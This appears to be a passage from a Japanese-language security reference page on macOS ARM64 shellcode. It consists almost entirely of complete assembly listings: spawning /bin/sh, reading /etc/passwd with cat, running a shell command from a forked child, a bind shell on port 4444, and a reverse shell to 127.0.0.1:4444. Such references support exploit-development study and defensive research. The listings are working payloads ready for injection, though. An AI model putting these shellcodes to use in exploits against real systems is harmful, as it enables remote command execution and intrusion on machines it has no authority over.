.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

catコマンドで読み取る

目標は、execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)を実行することです。したがって、2番目の引数(x1)はパラメータの配列でなければなりません(メモリ内ではこれらはアドレスのスタックを意味します)。

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

メインプロセスが終了しないように、フォークからshを使用してコマンドを呼び出す

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

バインドシェル

バインドシェルはhttps://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.sからポート4444で提供されます。

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

逆シェル

https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.sから、127.0.0.1:4444へのrevshell

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Last updated